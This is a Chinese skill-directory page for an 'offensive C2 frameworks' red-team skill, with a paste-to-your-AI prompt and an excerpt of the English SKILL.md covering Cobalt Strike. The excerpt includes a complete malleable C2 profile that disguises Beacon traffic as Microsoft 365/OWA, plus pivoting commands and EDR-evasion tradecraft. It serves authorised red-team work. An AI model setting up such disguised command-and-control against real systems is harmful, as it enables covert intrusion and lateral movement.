跳到正文
Skillpedia
安全10k · #11957

offensive-c2-frameworks

它能做什么

这个技能涵盖专业红队演练中使用的命令与控制框架,例如 Cobalt Strike、Sliver 和 Mythic。涵盖配置、基础设施布局和操作选择。适合在签署协议下工作的红队操作人员。

适用场景

  • ✓你要为经授权的红队任务搭建命令与控制框架的时候。
  • ✓你需要在植入程序与团队服务器之间设计重定向器基础设施的时候。
  • ✓你想根据已签署演练的限制比较 C2 框架的时候。

技能链接

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-c2-frameworks/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-c2-frameworks/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请为我们经授权的红队演练规划命令与控制方案,并在团队服务器前设置重定向器。”

每周 5 个新技能,1 分钟读完。

工作原理

这个技能从任务的网络限制开始,选择框架和传输方式,并设计重定向器层。然后说明适合目标环境的流量特征和时间参数。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Offensive C2 Frameworks

Command and Control is the backbone of any sustained red team engagement. Your C2 framework manages implant communication, task distribution, post-exploitation, and lateral movement coordination. Selecting and configuring the right framework -- and layering proper infrastructure around it -- determines whether your operation survives the first 48 hours or burns within minutes of initial access.

This skill covers the major C2 frameworks you encounter in professional red teaming, their configuration for operational security, the infrastructure patterns that protect your backend servers, and the tradecraft decisions that separate detectable operations from resilient ones. You are expected to understand not just how to deploy these tools, but why specific configuration choices matter against modern EDR and network monitoring.

Quick Workflow

  1. Define your engagement's network constraints -- identify allowed egress protocols, proxy requirements, and monitoring posture.
  2. Select a primary C2 framework and transport based on target environment restrictions.
  3. Build redirector infrastructure between your implants and your team server -- never expose the team server directly.
  4. Configure communication profiles to mimic legitimate traffic patterns for the target organization.
  5. Generate implants with appropriate sleep intervals, jitter, and kill dates.
  6. Establish primary and fallback C2 channels using different transports and infrastructure.
  7. Monitor your C2 traffic against detection signatures before deploying to production targets.

Cobalt Strike

Cobalt Strike remains the most widely deployed commercial C2 framework. Its strength lies in malleable C2 profiles, Beacon flexibility, and a mature post-exploitation toolkit. You configure it for stealth through profile customization, sleep management, and BOF execution.

Malleable C2 Profiles

Malleable profiles define how Beacon communicates -- HTTP headers, URI paths, data encoding, and TLS parameters. A well-crafted profile mimics a specific legitimate application.

# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter    "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";

https-certificate {
    set C   "US";
    set ST  "Washington";
    set L   "Redmond";
    set O   "Microsoft Corporation";
    set OU  "Microsoft IT";
    set CN  "outlook.office365.com";
    set validity "365";
}

http-get {
    set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            prepend "<!DOCTYPE html><html><head></head><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/owa/service.svc";
    set verb "POST";

    client {
        header "Content-Type" "application/json; charset=utf-8";

        id {
            base64url;
            prepend "token=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64;
            print;
        }
    }
}

Beacon Types and Pivoting

# Beacon types and their use cases:
# HTTP/HTTPS Beacon  -- standard egress, most flexible
# DNS Beacon         -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon         -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon         -- bind/reverse TCP for internal pivoting

# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake

# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
#   beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host

# Sleep and jitter configuration in Beacon
#   
常见问题

为什么要使用重定向器?

这个技能指出绝不应直接暴露团队服务器,因此要将重定向器放在其前面。

它涵盖哪些框架?

它涵盖 Cobalt Strike、Sliver 和 Mythic 等框架。

这只用于授权演练吗?

是的。它是为有书面授权的任务而编写的。

详情

作者的原始描述

Command and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), M

repo: SnailSploit/Claude-Red

热度

GitHub 星标
10k
排名
#11957
许可证
MIT
更新时间
2026/10/12

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能